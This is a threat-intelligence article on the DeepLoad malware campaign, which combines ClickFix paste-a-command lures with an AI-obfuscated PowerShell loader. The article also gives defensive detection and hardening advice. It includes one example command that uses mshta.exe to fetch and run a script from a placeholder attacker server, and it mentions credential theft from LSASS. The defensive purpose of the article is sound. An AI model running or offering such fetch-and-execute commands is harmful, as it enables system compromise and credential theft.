Security researchers at ReliaQuest have uncovered a new malware campaign, named DeepLoad, that represents a significant evolution in threat actor techniques. The campaign combines the increasingly popular "ClickFix" social engineering method for initial execution with a PowerShell loader that is heavily obfuscated with what is believed to be AI-generated code. This combination makes the malware exceptionally difficult to detect using traditional, signature-based security tools. The fileless nature of the attack, which primarily operates in memory, allows it to bypass many static defenses, highlighting the critical need for behavioral analysis and advanced endpoint detection to counter this emerging threat.
The DeepLoad attack begins with a social engineering lure. The threat actor uses the "ClickFix" technique, where a user is convinced to copy and paste a command into a command-line interface like Windows Terminal or PowerShell. This is often disguised as a necessary step for a security check, software update, or to access content.
In this campaign, the command executed mshta.exe, a legitimate Windows binary, to run a script hosted on a remote, attacker-controlled server. Using mshta.exe is a common living-off-the-land (LotL) technique to bypass application whitelisting.
mshta.exe http://attacker.server/malicious.hta
The downloaded script is a PowerShell loader, but it is heavily obfuscated. It contains thousands of lines of nonsensical code—random variable assignments, useless functions, and complex logic that does nothing. ReliaQuest researchers assess that the volume and consistency of this junk code strongly suggest it was generated by an AI model to act as camouflage, hiding the few lines of truly malicious code within the noise.
T1566 - Phishing) to deliver the ClickFix instructions. The user's action of running the command constitutes T1204.002 - User Execution. The use of mshta.exe is a specific sub-technique, T1218.005 - System Binary Proxy Execution: Mshta.T1027 - Obfuscated Files or Information. The use of AI to generate vast amounts of junk code is an advanced form of this, designed to defeat static analysis engines and overwhelm human analysts. The attack is also fileless, as the payload is executed in memory via PowerShell (T1059.001 - PowerShell), avoiding writing malicious files to disk.T1555 - Credentials from Password Stores).The use of AI to generate obfuscation is a game-changer. It allows attackers to create a unique, polymorphic loader for each victim with minimal effort, rendering signature-based detection almost useless. Security tools must evolve to focus on the script's behavior, not its structure.
mshta.exe spawning a powershell.exe process. This is a highly suspicious process chain that warrants investigation.mshta.exe to external, uncategorized URLs.mshta.exe) downloading and executing code from the internet, or PowerShell attempting to access the LSASS process memory. This aligns with D3FEND's Process Analysis.Use an EDR that focuses on detecting malicious behaviors, such as a proxy binary spawning PowerShell to perform credential theft.
Mapped D3FEND Techniques:
Enable Attack Surface Reduction (ASR) rules and configure PowerShell to run in Constrained Language Mode to limit the capabilities of malicious scripts.
Mapped D3FEND Techniques:
Train users to recognize and avoid social engineering tactics like ClickFix.
To combat the evasive nature of DeepLoad, security teams must rely on Process Analysis via an EDR tool. The key detection opportunity is the suspicious process chain: a user process (like a browser) launches mshta.exe, which in turn fetches a remote script and spawns powershell.exe. An EDR rule should be created to alert on or block mshta.exe from spawning a PowerShell process, as this is not typical behavior. Furthermore, the EDR should monitor the subsequent actions of that PowerShell process, such as attempts to inject into other processes (e.g., LSASS) or load suspicious modules, which would indicate credential theft activity. This behavioral focus is essential because the AI-generated obfuscation makes static, signature-based detection of the script itself unreliable.
While the AI-generated code is designed to defeat simple static analysis, advanced scripting content analysis can still be effective. This involves using tools that can parse and analyze PowerShell scripts in memory. By enabling PowerShell Script Block Logging (Event ID 4104), the deobfuscated script content is written to the event log as it's executed. SIEM solutions can then ingest these logs and apply analysis rules. For DeepLoad, rules could look for scripts with an extremely high ratio of comments and variable declarations to actual cmdlet calls, or use heuristics to detect common malicious functions (like Invoke-Mimikatz) even when they are hidden within layers of junk code. This provides a way to 'see through' the AI-generated noise.
Hardening the Windows operating system itself can neutralize threats like DeepLoad. A key control is to enable Windows Defender Attack Surface Reduction (ASR) rules. Specifically, the rule 'Block execution of potentially obfuscated scripts' is designed to counter techniques used by this malware. Additionally, deploying PowerShell in 'Constrained Language Mode' via a device policy severely restricts the commands and APIs that scripts can access, preventing them from performing dangerous actions like calling Win32 APIs or interacting with .NET, which are necessary for most credential theft techniques. This effectively defangs the malicious PowerShell payload, even if it manages to execute.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
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